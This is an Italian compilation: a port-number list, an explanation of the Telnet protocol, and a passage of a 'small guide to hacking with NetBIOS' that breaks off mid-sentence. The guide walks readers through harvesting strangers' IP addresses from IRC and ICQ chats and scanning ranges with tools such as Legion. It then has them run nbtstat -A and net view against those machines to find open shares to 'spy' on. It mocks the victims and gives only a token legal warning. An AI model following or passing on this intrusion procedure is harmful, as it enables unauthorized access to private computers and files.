1475	taligent-lm
1476	clvm-cfg
1477	ms-sna-server
1478	ms-sna-base
1479	dberegister
1480	pacerforum
1481	airs
1482	miteksys-lm
1483	afs
1484	confluent
1485	lansource
1486	nms_topo_serv
1487	localinfosrvr
1488	docstor
1489	dmdocbroker
1490	insitu-conf
1491	anynetgateway
1492	stone-design-1
1493	netmap_lm
1494	citrix-ica
1495	cvc
1496	liberty-lm
1497	rfx-lm
1498	watcom-sql
1499	fhc
1500	vlsi-lm
1501	sas-3
1502	shivadiscovery
1503	imtc-mcs
1504	evb-elm
1505	funkproxy
1506	utcd
1507	symplex
1508	diagmond
1509	robcad-lm
1510	mvx-lm
1511	3l-l1
1512	wins
1513	fujitsu-dtc
1514	fujitsu-dtcns
1515	ifor-protocol
1516	vpad
1517	vpac
1518	vpvd
1519	vpvc

1520	atm-zip-office
1521	ncube-lm
1522	rna-lm
1523	cichild-lm
1524	ingreslock
1525	orasrv
1526	pdap-np
1527	tlisrv
1528	mciautoreg
1529	support
1530	rap-service
1531	rap-listen
1532	miroconnect
1533	virtual-places
1534	micromuse-lm
1535	ampr-info
1536	ampr-inter
1537	sdsc-lm
1538	3ds-lm
1539	intellistor-lm
1540	rds
1541	rds2
1542	gridgen-elmd
1543	simba-cs
1544	aspeclmd
1545	vistium-share
1546	abbaccuray
1547	laplink
1548	axon-lm
1549	shivahose
1550	3m-image-lm
1551	hecmtl-db
1552	pciarray
1600	issd
1650	nkd
1651	shiva_confsrvr
1652	xnmp
1661	netview-aix-1
1662	netview-aix-2
1663	netview-aix-3
1664	netview-aix-4
1665	netview-aix-5
1666	netview-aix-6
1667	netview-aix-7
1668	netview-aix-8
1669	netview-aix-9
1670	netview-aix-10
1671	netview-aix-11

1672	netview-aix-12
1723	pptp
1827	pcm
1986	licensedaemon
1987	tr-rsrb-p1
1988	tr-rsrb-p2
1989	tr-rsrb-p3
1990	stun-p1
1991	stun-p2
1992	stun-p3
1993	snmp-tcp-port
1994	stun-port
1995	perf-port
1996	tr-rsrb-port
1997	gdp-port
1998	x25-svc-port
1999	tcp-id-port
2000	callbook
2001	dc
2002	globe
2003	cfingerd
2004	mailbox
2005	deslogin
2006	invokator
2007	dectalk
2008	conf
2009	news
2010	search
2011	raid-cc
2012	ttyinfo
2013	raid-am
2014	troff
2015	cypress
2016	bootserver
2017	cypress-stat
2018	terminaldb
2019	whosockami
2020	xinupageserver
2021	servexec
2022	down
2023	xinuexpansion3
2024	xinuexpansion4
2025	ellpack
2026	scrabble
2027	shadowserver
2028	submitserver
2030	device2
2032	blackboard

2033	glogger
2034	scoremgr
2035	imsldoc
2038	objectmanager
2040	lam
2041	interbase
2042	isis
2043	isis-bcast
2044	rimsl
2045	cdfunc
2046	sdfunc
2047	dls
2048	dls-monitor
2049	nfs
2064	distrib-netassholes
2065	dlsrpn
2067	dlswpn
2105	eklogin
2106	ekshell
2108	rkinit
2111	kx
2112	kip
2120	kauth
2201	ats
2232	ivs-video
2241	ivsd
2301	compaqdiag
2307	pehelp
2401	cvspserver
2430	venus
2431	venus-se
2432	codasrv
2433	codasrv-se
2500	rtsserv
2501	rtsclient
2564	hp-3000-telnet
2600	zebrasrv
2601	zebra
2602	ripd
2603	ripngd
2604	ospfd
2605	bgpd
2627	webster
2638	sybase
2766	listen
2784	www-dev
3000	ppp
3001	nessusd

3005	deslogin
3006	deslogind
3049	cfs
3064	distrib-net-proxy
3086	sj3
3128	squid-http
3141	vmodem
3264	ccmail
3306	mysql
3333	dec-notes
3389	msrdp
3421	bmap
3455	prsvp
3456	vat
3457	vat-control
3462	track
3900	udt_os
3984	mapper-nodemgr
3985	mapper-mapethd
3986	mapper-ws_ethd
4008	netcheque
4045	lockd
4132	nuts_dem
4133	nuts_bootp
4144	wincim
4321	rwhois
4333	msql
4343	unicall
4444	krb524
4500	sae-urn
4557	fax
4559	hylafax
4672	rfa
5000	fics
5001	commplex-link
5002	rfe
5010	telelpathstart
5011	telelpathattack
5050	mmcc
5145	rmonitor_secure
5190	aol
5191	aol-1
5192	aol-2
5193	aol-3
5232	sgi-dgl
5236	padl2sim
5300	hacl-hb
5301	hacl-gs

5302	hacl-cfg
5303	hacl-probe
5304	hacl-local
5305	hacl-test
5308	cfengine
5432	postgres
5510	secureidprop
5520	sdlog
5530	sdserv
5540	sdreport
5550	sdadmind
5631	pcanywheredata
5632	pcanywherestat
5680	canna
5713	proshareaudio
5714	prosharevideo
5715	prosharedata
5716	prosharerequest
5717	prosharenotify
5800	vnc
5801	vnc
5900	vnc
5901	vnc-1
5902	vnc-2
5977	ncd-pref-tcp
5978	ncd-diag-tcp
5979	ncd-conf-tcp
5997	ncd-pref
5998	ncd-diag
5999	ncd-conf
6000	X11
6001	X11:1
6002	X11:2
6003	X11:3
6004	X11:4
6005	X11:5
6006	X11:6
6007	X11:7
6008	X11:8
6009	X11:9
6110	softcm
6111	spc
6112	dtspc
6141	meta-corp
6142	aspentec-lm
6143	watershed-lm
6144	statsci1-lm
6145	statsci2-lm

6146 lonewolf-lm
6147 montage-lm
6148 ricardo-lm
6558 xdsxdm
6666 irc-serv
6667 irc
6668 irc
6969 acmsoda
7000 afs3-fileserver
7001 afs3-callback
7002 afs3-prserver
7003 afs3-vlserver
7004 afs3-kaserver
7005 afs3-volser
7006 afs3-errors
7007 afs3-bos
7008 afs3-update
7009 afs3-rmtsys
7010 ups-onlinet
7100 font-service
7200 fodms
7201 dlip
7326 icb
8080 http-proxy
8888 sun-answerbook
8892 seosload
9090 zeus-admin
9100 jetdirect
9535 man
9876 sd
10005 stel
10082 amandaidx
10083 amidxtape
11371 pksd
12345 NetBus
12346 NetBus
17007 isode-dua
18000 biimenu
20005 btx
22273 wnn6
22289 wnn6_Cn
22305 wnn6_Kr
22321 wnn6_Tw
26208 wnn6_DS
27665 Trinoo_Master
31337 Elite
32770 sometimes-rpc3
32771 sometimes-rpc5

32772	sometimes-rpc7
32773	sometimes-rpc9
32774	sometimes-rpc11
32775	sometimes-rpc13
32776	sometimes-rpc15
32777	sometimes-rpc17
32778	sometimes-rpc19
32779	sometimes-rpc21
32780	sometimes-rpc23
32786	sometimes-rpc25
32787	sometimes-rpc27
43188	reachout
47557	dbbrowse
65301	pcanywhere

Non sono ovviamente tutte... Ma ne avete a bizzeffe qui!

Protocolli di login remoto: TELNET

Generalità

Telnet è un'applicazione standard dell'Internet ed è disponibile nella maggior parte delle implementazioni del TCP/IP, indipendentemente dal sistema operativo host. Si tratta di un semplice protocollo di login remoto, implementato secondo un modello di tipo client-server, che permette ad un utente attestato ad una certa macchina di stabilire una connessione TCP con un server di login che si trova su un'altra macchina. Subito dopo Telnet rilancia i caratteri battuti sulla tastiera dell'utente direttamente al calcolatore remoto come se essi fossero battuti su una tastiera direttamente connessa ad esso. Inoltre Telnet ritorna l'output della macchina remota indietro fino allo schermo dell'utente. Il servizio è definito trasparente perchè dà l'apparenza che la tastiera e lo schermo dell'utente siano attaccati direttamente alla macchina remota.
Sebbene Telnet non sia molto sofisticato se paragonato ad altri protocolli di terminale remoto, esso risulta tuttavia largamente diffuso. Di solito, il codice client di Telnet permette all'utente di specificare la macchina remota a cui ci si vuole connettere dando il suo nome di dominio oppure il suo indirizzo IP.

Telnet offre tre servizi di base. Per prima cosa, definisce un network virtual terminal (terminale virtuale di rete) che fornisce una interfaccia standard verso i sistemi remoti. Il programma client non può essere istruito sui dettagli di tutti i possibili sistemi remoti, così esso è realizzato per usare l'interfaccia standard. In secondo luogo, Telnet include un meccanismo che permette ai due moduli client e server di negoziare delle opzioni, e fornisce un insieme di opzioni standard (ad esempio, una delle opzioni controlla se i dati trasmessi attraverso la connessione debbano essere rappresentati mediante il set standard di caratteri ASCII a 7 bit oppure mediante un set di caratteri ad 8 bit). Infine, Telnet tratta simmetricamente entrambi gli estremi della connessione. In particolare, Telnet non obbliga che l'input del client provenga da una tastiera, e nemmeno che l'output di tale client sia costituito per forza da uno schermo. In questa maniera, Telnet permette ad un qualsiasi programma di diventare utente del client. Inoltre, entrambe le parti possono negoziare le opzioni.

La seguente figura illustra come dei programmi applicativi implementano un client e server di Telnet:

Quando un utente invoca Telnet, un determinato programma applicativo sulla macchina dell'utente diviene il client. Esso stabilisce una connessione TCP con il server, tramite la quale comunica con questo. Una volta stabilita la connessione, il client legge i caratteri battuti sulla tastiera dell'utente e li trasmette al server, e nel frattempo legge i caratteri che il server gli ritorna indietro per visualizzarli sullo schermo dell'utente. Il server deve accettare la richiesta di connessione dal client, dopodichè deve rilanciare i dati ricevuti tramite questa connessione al sistema operativo della macchina su cui si trova.

Nella pratica, il server è più complesso di quanto mostrato in figura, poichè esso deve gestire connessioni multiple concorrenti. Di solito, un processo padre aspetta su una determinata porta una richiesta di connessione e, quando questa arriva, crea un processo figlio che gestisce tale connessione. Perciò, il server Telnet mostrato in figura rappresenta il processo figlio che gestisce una particolare connessione. La figura dunque non mostra il processo padre che ascolta sul socket in attesa di nuove richieste, nè mostra altri processi figli che concorrenzialmente gestiscono ulteriori connessioni.

Si adopera il termine pseudoterminale per descrivere il punto di ingresso (entry point) del sistema operativo che permette ad un programma quale il server Telnet di immettere caratteri nel sistema operativo della macchina remota facendo credere a quest'ultimo che essi provengano da una tastiera. Sarebbe impossibile realizzare un server Telnet senza che il sistema operativo fornisca una tale possibilità. Se il sistema supporta un dispositivo di pseudoterminale, il server Telnet può essere implementato mediante programmi applicativi. Nel server, ogni processo figlio funge da collegamento tra il flusso di dati provenienti dalla connessione TCP ed un particolare dispositivo di pseudoterminale.

Fare in modo che il server Telnet sia un programma a livello applicativo comporta sia vantaggi che svantaggi. Il vantaggio più ovvio è che risulta più semplice la modifica ed il controllo del server rispetto al caso in cui il codice sia contenuto nel sistema operativo. Lo svantaggio è chiaramente l'inefficienza, poichè ciascun carattere deve viaggiare dalla tastiera d'utente, attraverso il sistema operativo, fino al programma client, dal programma client tornare al sistema operativo e, attraverso la connessione di rete, arrivare alla macchina remota. Qui, i dati devono arrivare, attraverso il sistema operativo, fino al programma applicativo server, e da quest'ultimo di nuovo indietro al sistema operativo in un dispositivo di pseudoterminale. Alla fine, il sistema operativo remoto invia il carattere al programma applicativo che l'utente sta facendo correre. Si capisce che, nel frattempo, l'output (compresi i caratteri di echo se tale opzione è stata selezionata) viaggia a ritroso dal server al client lungo lo stesso percorso.

Adattamento delle eterogeneità

Affinchè Telnet possa interoperare tra il maggior numero possibile di sistemi, è necessario adattare le particolarità di calcolatori e sistemi operativi eterogenei. Per esempio, alcuni sistemi prevedono che le linee di testo siano chiuse dal carattere ASCII carriage control (CR). Altri richiedono il carattere linefeed (LF). Altri ancora richiedono la sequenza dei due caratteri CR-LF. Inoltre, la maggior parte dei sistemi interattivi fornisce all'utente il modo di immettere una chiave che interrompe un processo in esecuzione, ma il particolare carattere usato per tale scopo varia da sistema a sistema (alcuni usano Control-C, mentre altri adoperano Escape).
Per adattare le eterogeneità, Telnet definisce il modo in cui i dati e le sequenze di comando devono essere trasmesse attraverso la rete. La definizione è nota come network virtual terminal (NVT).

Come illustrato dalla figura sopra, il codice client traduce i caratteri e le sequenze di comando dal formato del terminale d'utente al formato NVT e li trasmette al server. Il codice server traduce i dati e i comandi ricevuti dal formato NVT al formato richiesto dal sistema remoto (quello in cui il server si trova). Per il percorso inverso, il server traduce dal formato della macchina remota al formato NVT, mentre il client traduce dal formato NVT a quello della macchina locale.
La definizione del formato NVT è estremamente precisa. Ogni comunicazione coinvolge unità informative (byte) ciascuna formata da 8 bit. All'avvio, per default, NVT adopera la rappresentazione standard USASCII a 7 bit per i dati e riserva per le sequenze di comando i byte col bit di ordine massimo settato ad 1. Il set di caratteri USASCII include 95 caratteri stampabili e 33 caratteri di controllo.

Passaggio di comandi per controllare la parte remota

Abbiamo già accennato al fatto che molti sistemi forniscono un meccanismo che permette agli utenti di terminare un programma in esecuzione. Di solito, il sistema operativo accoppia tale meccanismo ad un particolare tasto o sequenza di caratteri. Ad esempio, a meno che l'utente non specifichi diversamente, molti sistemi Unix riservano al carattere generato dalla sequenza Control-C la funzione di interruzione. Digitando Control-C si costringe Unix a terminare il programma in esecuzione; il programma non riceve Control-C come input. Il sistema inoltre può riservare altri caratteri o sequenze di caratteri per altre funzioni di controllo.
NVT di Telnet adatta le funzioni di controllo definendo come esse devono essere passate dal client al server. Dal punto di vista concettuale, si immagina che NVT possa accettare immissioni di caratteri da una tastiera in grado di generare più dei 128 possibili caratteri. Si suppone cioè che la tastiera dell'utente abbia tasti virtuali (immaginari) che corrispondono alle funzioni tipicamente usate per controllare i processi. Ad esempio, NVT definisce un tasto concettuale di "interruzione" ("interrupt") che serve a richiedere la terminazione di un programma.
Nella pratica, la maggior parte delle tastiere non fornisce tasti in più per i comandi. Tuttavia, certi sistemi operativi o interpreti di comandi presentano una varietà di modi per generarli. Abbiamo già menzionato la tecnica più comune: accoppiare un determinato carattere ASCII ad una funzione di controllo cosicchè, quando l'utente preme il tasto, il sistema operativo effettua l'azione appropriata invece di accettare il carattere come input. I progettisti dell'NVT hanno scelto di tenere separati i comandi dal normale set di caratteri ASCII per due ragioni. Per prima cosa, definire separatamente le funzioni di controllo significa conferire a Telnet una maggiore flessibilità. Esso può infatti trasferire tutte le possibili sequenze di caratteri ASCII tra il client ed il server così come tutte le possibili funzioni di controllo. Inoltre, tenendo separati i segnali dai normali dati, NVT permette al client di specificare i segnali senza ambiguità, ovvero senza confusione circa il fatto se il carattere immesso debba essere trattato come dato o come funzione di controllo.

Per mandare le funzioni di controllo attraverso la connessione TCP, Telnet le

codifica adoperando una cosiddetta sequenza di escape. Una sequenza di escape usa un ottetto riservato per indicare che è in arrivo un ottetto in cui è codificato un comando. In Telnet, l'ottetto riservato che apre una sequenza di escape è noto come l'ottetto interpret as command (IAC).
I segnali generati dai tasti concettuali di una tastiera NVT corrispondono ciascuno ad un comando. Ad esempio, per richiedere che il server interrompa il programma in esecuzione, il client deve inviare la sequenza di due ottetti IAC IP (255 seguito da 244). Comandi addizionali permettono al client ed al server di negoziare il set di opzioni da usare e di sincronizzare la comunicazione.

Facciamo notare che la codifica NVT di tutti i caratteri stampabili e di controllo, qualora sia in vigore il comportamento di default, coincide con la codifica standard ASCII a 7 bit, la quale comporta una corrispondenza di tali caratteri con i primi 128 numeri naturali (da 0 a 127), e conseguentemente il valore nullo del bit pesante nell'ottetto che rappresenta il dato. Poichè la codifica NVT delle funzioni di controllo prevede l'impiego di ottetti ai quali, secondo la rappresentazione binaria, corrispondono numeri naturali maggiori di 128, cioè col bit pesante settato ad 1, si evince che non può esservi confusione tra alcun dato e qualsiasi ottetto di comando, in particolare l'ottetto IAC, formato interamente da bit unitari (codifica decimale 255).
Tale confusione può però verificarsi qualora sia in vigore l'opzione cosiddetta di trasmissione binaria, la quale prevede l'uso di un set di caratteri ad 8 bit, cioè di ottetti in cui il bit pesante può essere settato ad 1 anche per la codifica di dati. In tal caso, è previsto che se deve essere trasmesso un dato (ovvero un carattere) tale che l'ottetto che lo codifica è uguale all'IAC, allora tale ottetto deve essere trasmesso due volte.

Come si forza il server a leggere una funzione di controllo

L'invio delle funzioni di controllo assieme ai normali dati non sempre è sufficiente per garantire il risultato desiderato. Per capire il perchè, consideriamo la situazione in cui un utente vuole mandare la funzione di controllo interrupt process al server. Di solito, un tale evento è necessario quando il programma in esecuzione sulla macchina remota sta funzionando male e l'utente vuole che il server termini il programma. Per esempio, il programma potrebbe star eseguendo un loop infinito senza leggere l'input o generare alcun output. Sfortunatamente, se l'applicazione sulla macchina remota smette di leggere l'input, i buffer del sistema operativo si riempiono ed il server non potrà più scrivere dati sullo pseudoterminale. Quando ciò accade, è previsto che il server smetta di leggere i dati che provengono dalla connessione TCP, i cui buffer di conseguenza si riempiono. In una circostanza del genere, l'entità TCP sulla macchina del server notifica la situazione all'entità paritaria sulla macchina locale informandola circa la dimensione nulla della finestra di flusso, ed in seguito a tale notifica si interrompe il flusso di dati lungo la connessione.
Se l'utente genera una funzione di controllo di interruzione nel momento in cui i buffer sono pieni, la funzione di controllo non raggiungerà mai il server. Ovvero, il client può senz'altro generare la sequenza di comando IAC IP e scriverla sul proprio socket, ma poichè l'entità TCP ha interrotto la trasmissione verso l'entità paritaria remota, il server non potrà leggere la

suddetta sequenza di controllo.
Per risolvere il problema, Telnet adopera un segnale cosiddetto fuori-banda (out of band signaling). Il TCP implementa la segnalazione fuori banda col meccanismo di urgent data. Ogniqualvolta deve inserire una funzione di controllo all'interno del flusso di dati, il modulo client di Telnet genera un comando di SYNCH, costituito dalla sequenza "IAC (segnale utente) IAC DMARK" (per esempio, se l'utente ha generato il segnale di interrupt process premendo la combinazione Control-C sulla propria tastiera, il comando di SYNCH sarà formato dalla sequenza "IAC IP IAC DMARK"). Tale sequenza viene passata all'entità TCP sottostante contemporaneamente ad un'apposita segnalazione che forza la stessa entità TCP a trasmettere un segmento (col bit di URGENT DATA settato ad 1) che elude il controllo di flusso e giunge immediatamente all'entità TCP remota. Questa, ricevendo un così fatto segmento, segnala al modulo server di Telnet che sono arrivati dati con la massima priorità, ed è previsto che il server, in virtù di una tale segnalazione, scarichi dal buffer della connessione TCP tutti i dati che trova, continuando però ad interpretare i comandi. Di conseguenza il server, durante tale operazione, è destinato ad incontrare dapprima la sequenza di comando "IAC (segnale utente)", dalla quale capisce cosa l'utente vuole che faccia, e subito dopo la sequenza di comando "IAC DMARK", che ha il significato "torna al normale modo di processamento"

Opzioni di Telnet

Finora abbiamo omesso la descrizione di uno degli aspetti più complessi di Telnet: le opzioni. In Telnet, le opzioni sono negoziabili, e rendono possibile a client e server riconfigurare la loro connessione. Ad esempio, abbiamo già detto che di solito il flusso di dati è a 7 bit e gli ottetti col bit pesante settato ad 1 sono usati per passare informazioni di controllo come il comando di interrupt process. Comunque, Telnet fornisce anche un'opzione che permette a client e server di scambiarsi dati ad 8 bit (quando questo succede, l'ottetto riservato IAC deve essere raddoppiato se appare come dato). Client e server hanno bisogno di una fase di negoziazione, ed entrambi devono accettare il passaggio di dati ad 8 bit prima che un tale tipo di comunicazione sia possibile.

L'area delle funzionalità delle opzioni Telnet è vasta: alcune estendono le possibilità in modo maggiore, mentre altre si occupano di dettagli meno importanti. Per esempio, il protocollo originale fu progettato per un ambiente half-duplex in cui era necessario dire all'altra parte di "andare avanti" (go ahead) prima che essa potesse trasmettere altri dati. Una delle opzioni controlla se Telnet opera in modo half-duplex o full-duplex. Un'altra opzione permette al server sulla macchina remota di determinare il tipo di terminale d'utente. Il tipo di terminale è importante per il software che genera le sequenze di posizionamento del cursore (ad esempio un editor a tutto schermo in esecuzione sulla macchina remota).

La maniera in cui Telnet negozia le opzioni risulta interessante. Siccome talvolta ha senso anche per il server iniziare l'esecuzione di una particolare opzione, il protocollo prevede di permettere ad entrambe le parti di effettuare una richiesta. In tal maniera, si dice che il protocollo è simmetrico per

quanto riguarda il processamento delle opzioni. Entrambe le parti inoltre rispondono ad una richiesta con un'accettazione o un rifiuto. Nella terminologia Telnet, la richiesta è WILL X, che significa permettimi di usare l'opzione X; e la risposta può essere sia DO X che DON'T X, ovvero rispettivamente ti permetto di usare l'opzione X e non ti permetto di usare l'opzione X. La simmetria consiste nel fatto che DO X richiede che il ricevente cominci ad usare l'opzione X, mentre WILL X o WON'T X significa voglio cominciare ad usare l'opzione X o non voglio cominciare ad usarla.

Un altro interessante aspetto della negoziazione consiste nel fatto che entrambi i moduli Telnet devono essere in grado di eseguire una implementazione base di NVT (cioè senza alcuna opzione in vigore). Se una delle due parti tenta di negoziare un'opzione che l'altra non capisce, la parte che riceve la richiesta si limita semplicemente a declinare l'invito. In questa maniera, è possibile fare interagire versioni di moduli Telnet più recenti e sofisticate (cioè software che comprende più opzioni) con versioni meno sofisticate. Se sia il client che il server capiscono le nuove opzioni, essi potranno incrementare la qualità dell'interazione, altrimenti faranno riferimento ad uno stile meno efficiente ma comunque funzionante.

PICCOLA GUIDA ALL' HACKING CON NETBIOS

NETBIOS: questo sconosciuto.

Ho deciso di scrivere questa piccola guida dopo avere fatto alcune ricerche, rendendomi conto che in molti non sanno che cosa sia, e che quelli che lo sanno rilasciano poche informazioni e sopra tutto sempre molto confuse ed imprecise.
Premetto che quello che troverete scritto qua, è stato sperimentato su WIN 98 e WIN ME, quindi se avete qualche altro O.S. Microsoft forse dovrete adattarvi.

Questa guida è il frutto di svariate prove e ricerche compiute dall'amico NEWFOLDER, egli è stato la mente che ha elaborato le nozioni trovate in giro per la rete e le ha finalmente tradotte in qualcosa di tangibile.
Io da parte mia ho solo raccolto le varie notizie che lui mi passava, l' ho aiutato in svariate prove, gli ho dato qualche consiglio e suggerimento ed ora mi accingo nell' impresa di mettere quasi tutto quello che so insieme.

A titolo informativo vi dico che :
NETBIOS è l'acronimo di: Network Basic Input/Output System.
Lavora sfruttando la comunicazione tramite la porta 139. Non è altro che un “tool” di Windows che serve a mettere in grado due o più pc di comunicare tra di loro e costituisce quindi il cuore delle reti LAN.
Originariamente queste reti erano di tipo NetBEUI e sfruttavano NETBIOS tramite l'ausilio dell' LMHOST.
L'LMHOST è un programmino che funziona come un piccolo server DNS e permette di associare gli indirizzi IP ai nomi NETBIOS (HOST appunto, ma non solo). Le funzioni del LMHOST sono comunque molteplici e non riguardano solo NETBIOS.
In pratica all'interno di una rete LAN, se avevo bisogno di rintracciare un pc, non dovevo fare altro che scrivere il nome dello stesso e tramite LMHOST se era connesso mi avrebbe risposto.
Ora purtroppo a causa della presenza dei ROUTER, in internet questo tipo di chiamata non viene inoltrata.
Resta sempre la possibilità di sfruttare in qualche modo LMHOST, ma dato il punto debole causato dai ROUTER e dal fatto che mi sono accorto che non è stato integrato nel TCP/IP di WIN ME, non mi dilungo nel spiegarvi cose che poi potrebbero rivelarsi inutili.

Ogni rete aziendale o non che abbia computer connessi tra di loro anche tramite l'apposita scheda ethernet, e che sfrutti le reti microsoft deve utilizzare NETBIOS per far si che i file posti dentro ad un pc siano accessibili da un altro computer della stessa rete e viceversa.
Noi non faremo altro che sfruttare la stessa cosa ma tramite il nostro piccolo e lento modem.
Naturalmente perché questa caratteristica sia sfruttabile oltre a NETBIOS serve anche che l'unità, la cartella, il semplice file sia condiviso. Cioè l'utente sfigato ha settato il suo computer in modo da rendere disponibile agli altri pc queste risorse. Mi pare ovvio, ma lo scrivo lo stesso, che il pc dell'utente “coglione” deve essere connesso in internet.

Forse non sono stato chiaro, ma comunque quello che ci interessa è il fatto che grazie a questa peculiarità di Winzozzone possiamo andare a spiare e non solo nei computer altrui. Il tutto standocene comodamente seduti a casa davanti alla nostra console.

Voglio fare una piccola premessa: questa funzionalità di Windows è integrata nel sistema operativo e non è assolutamente un bug come alcuni in giro per internet lo hanno definito. Lo stesso problema lo hanno i computer con Linux, nemmeno il famigerato e poco utilizzato “pinguino” è immune da questo tipo di intrusioni.
Naturalmente se adoperate WIN non potrete mai entrare in un pc con linux, ma questo solo perché il vostro sistema non riconoscerà mai il file system (formato) del disco condiviso da linux.

Cosa bisogna fare allora per venire in possesso di questa terribile arma e sfruttarla a nostro “piacere”?
Prima di tutto dobbiamo NETBIOSSARE il nostro pc. Come!!!??? Direte voi, per entrare nei pc degli altri devo fare in maniera che anche gli altri possano entrare nel mio???
E' proprio cosi, però sapendo quello che in seguito vi spiegherò baderemo bene a non condividere risorse quando siamo connessi ad internet o almeno ad inserire una banalissima password, ed almeno cosi non saremo noi a fare la parte dei “coglioni” di turno.

Per NETBIOSSARE il nostro pc procediamo come segue, la finestra che vedete sotto è la finestra dei settaggi della configurazione della rete del mio Win ME, sarà del tutto simile a quella di Win 98 ed in questa fase è quella che vedrete di più.

Fare: Start/Impostazioni/Pannello di controllo /Rete/Aggiungi/Protocollo/Microsoft/protocollo compatibile IPX/SPX/OK

Forse vi verrà chiesto di inserire il CD di Winzoz, dipende dal tipo di installazione che avete fatto.

Poi: Start/Impostazioni/Pannello di controllo/rete/Aggiungi/Protocollo/Microsoft/Client per reti microsoft/OK

Forse ha di nuovo bisogno del CD di Win.

Dopo di che: Start/Impostazioni/Pannello di controllo/Rete/Condivisione di file e stampanti/OK

Bisogna controllare di poter selezionare e deselezionare tutte le caselle, nel caso non fosse possibile provare a spegnere e riaccendere il computer.

Ancora: Start/Impostazioni/Pannello di controllo/Rete/Protocollo IPX/SPX/Netbios/Attiva netbios su IPX/SPX/OK

Di nuovo: Start/Impostazioni/Pannello di controllo/Rete/Client per reti microsoft/Connessione rapida/OK

Ora fate di nuovo: Start/Pannello di controllo/Proprietà internet.

Da Connessioni selezionate l'account che preferite, andate nelle Proprietà e dal Menu Rete/Protocolli di rete consentiti spuntate le caselle NetBEUI e Compatibile IPX/SPX e Accedi alla rete mentre TCP/IP dovrebbe essere gia spuntato. Nell'interfaccia di Win 98 trovate tutto nella stessa finestra, invece con ME dovete entrare nel Menu Protezione per spuntare la casella Accedi alla rete.

A questo punto riavviare il sistema, connettersi ad internet con l'account che avete settato come descritto sopra (naturalmente potete settare tutte le connessioni che avete per essere usate con NETBIOS).
Fare le seguenti prove:
Aprire Start/Esegui.

Nella finestra che si aprirà scrivere il comando: winipcfg (configurazione IP di windows) e cliccare su OK.

Si aprirà la finestra di "Configurazione IP".

Ora segnatevi il numero scritto nella casella corrispondente a “Indirizzo”, quello è il vostro attuale numero IP assegnatovi dal server del provider. Tenete presente che il 99,99% delle IP sono del tipo dinamico, quindi cambiano ogni volta che un utente si connette ad internet.
Detto questo, non sperate che se oggi beccate un pc netbiossato connesso ad internet, domani lo trovate ancora semplicemente connettendovi di nuovo alla stessa IP.
Ciò è possibile solo se il tizio che state piratando ha un IP di tipo statico, che è un'esclusiva di aziende, organi statali e cose di questo genere. Quindi fate anche attenzione a chi cercate di forgiare il computer.
OK!! Ora siete in possesso della vostra IP, aprite una sessione di DOS tramite il “Prompt di MS-DOS”. Digitate questo comando: nbtstat –A <vostra IP> e premete INVIO.
Se tutto è stato settato bene vi dovrebbe comparire una videata di questo genere:

Questo è l'elenco dei servizi offerti dal vostro pc, il primo nome della lista e il più importante(in questo caso “DANIELE1) è l'HOST NAME ovvero il nome del vostro computer. Questo può servire (se vi segnate gli HOST) per individuare con certezza o quasi uno specifico pc connesso in rete che ha l'Ip dinamica.

Fate questa altra prova: andate in Risorse del computer, cliccate con il destro sopra una unità (A, C, D, etc.) e selezionate Condivisione. Vi si aprirà una finestra nella quale dovrete selezionare Condividi con nome, fate Applica e OK. Nella finestra Risorse del computer dovrebbe essere apparsa una manina in manica blu che regge l'unità che avete condiviso. Tornate al Prompt di MS-DOS e digitate: net view \\<vostra IP> + INVIO. quello che dovreste vedere dovrebbe essere molto simile alla immagine sotto.

Prompt di MS-DOS

```
C:\WINDOWS>net view \\151.20.135.0
Risorse condivise su \\151.20.135.0

Condivisione  Tipo        Commento

C             Disco

Esecuzione comando riuscita.

C:\WINDOWS>_
```

L' importante ora è sapere che se vi è apparso ciò siete pronti per giocare con NETBIOS e magari farvi beccare dalle forze dell'ordine e prendervi una bella denuncia per “abuso di mezzi informatici”. ATTENZIONE A QUELLO CHE FATE!!!

Di seguito vi sarà spiegato come entrare materialmente nei computer altrui. Leggere anche quella parte attentamente e tenere sempre a mente che anche io che sto scrivendo non ho mai finito di imparare. Ricordate di andare a togliere la condivisione all'unità che avete selezionato prima per fare la prova.

COME HACKERARE CON NETBIOS:

Prima di tutto bisogna scovare delle IP di computer in quel momento connessi ad internet.
Ci sono molti modi, anche quello di provarle a caso eseguendo dal Prompt di MS-DOS il comando PING.
Se volete fate una prova digitate dal Prompt il comando e la vostra IP. il tutto scritto come segue:
ping xxx.xxx.xxx.xxx + INVIO (non sto nemmeno li a mostrarvelo).
Ma non mi pare che questo sia molto efficace, il comando PING tenetelo buono per quando volete la certezza che un pc che state provando a penetrare sia ancora connesso, oppure quando trovate uno di quei pc con la IP statica e volete sapere se in quel momento è in rete.
Un buon sistema può essere quello di connettervi in chat con IRC o ICQ e tramite il comando di rilevazione delle DNS (presente nella maggior parte degli script di IRC e ICQ) trovare l' IP dei vari utenti connessi alla chat.
A questo punto non dovrete fare altro che andarvi a cercare quale degli utenti ha il computer netbiossato adoperando i comandi descritti nelle pagine successive, che del resto sono gli stessi che avete usato per testare se il vostro pc è stato netbiossato con successo.
Vi chiederete se esiste un sistema più veloce e che vi eviti di scrivere centinaia di IP magari senza tirarne fuori il classico ragno dal buco.
SI!! ESISTE! Infatti vi sono dei programmi che fanno automaticamente la scansione in un range di IP da voi impostato e vi trovano quali sono i computer netbiossati e anche quali sono le risorse condivise. I programmi che conosco io sono il "Legion 2.1" e il "Netscan 1.2". Di seguito potete osservarne le interfacce grafiche. Se siete in grado procurateveli, vi conviene.

The NetBiosScan by NewFolder

Supponiamo abbiate trovato qualche IP che pare faccia al caso vostro, allora siete pronti a fare i pirati, mettetevi la benda sull'occhio e partite…………………

Aprire una finestra di DOS (Prompt di MS-DOS) e scrivere:
nbtstat –A xxx.xxx.xxx.xxx + INVIO dove le x rappresentano il numero ip.
In questo modo scoprirete se il pc è netbiossato e l'host del computer. Se il pc in questione è netbiossato vi apparirà qualcosa come nell'immagine sotto. Se l'host non vi interessa potete saltare questa parte.

```
Prompt di MS DOS
C:\WINDOWS>nbtstat -A 151.20.135.0

Lana # 0:
Node IpAddress: [151.20.153.235] Scope Id: []

          NetBIOS Remote Machine Name Table

      Name              Type          Status
   PDUE          <00>  UNIQUE      Registered
   WORKGROUP     <00>  GROUP       Registered
   PDUE          <03>  UNIQUE      Registered
   PDUE          <20>  UNIQUE      Registered
   WORKGROUP     <1E>  GROUP       Registered

   MAC Address = 44-45-53-54-00-00

C:\WINDOWS>
```

Allo scopo di conoscere, se vi sono e quali sono le risorse condivise, dovete procedere sempre con il Prompt di MS-DOS scrivendo il comando:
